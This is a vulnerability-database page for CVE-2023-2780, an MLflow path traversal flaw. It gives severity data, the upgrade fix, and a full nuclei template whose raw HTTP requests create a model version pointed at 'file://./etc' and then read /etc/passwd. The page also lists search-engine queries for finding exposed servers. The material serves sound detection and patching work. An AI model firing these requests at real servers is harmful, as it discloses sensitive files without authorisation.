HexBrain

Browse / CVEs / CVE-2023-2780

CVE-2023-2780· lfprojects / mlflow· CWE-29

Mlflow <2.3.1 - Local File Inclusion Bypass

criticalseverity
9.8CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.

Impact

Successful exploitation could allow an attacker to read sensitive files on the server.

Fix

Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.

How to confirm it

Send: POST /ajax-api/2.0/mlflow/registered-models/create ; POST /ajax-api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}}
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-2780 -u <target>

The full check
id: CVE-2023-2780

info:
  name: Mlflow <2.3.1 - Local File Inclusion Bypass
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2780
    - https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2780
    cwe-id: CWE-29
    epss-score: 0.06311
    epss-percentile: 0.93668
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}
      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"file://./etc"}
      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from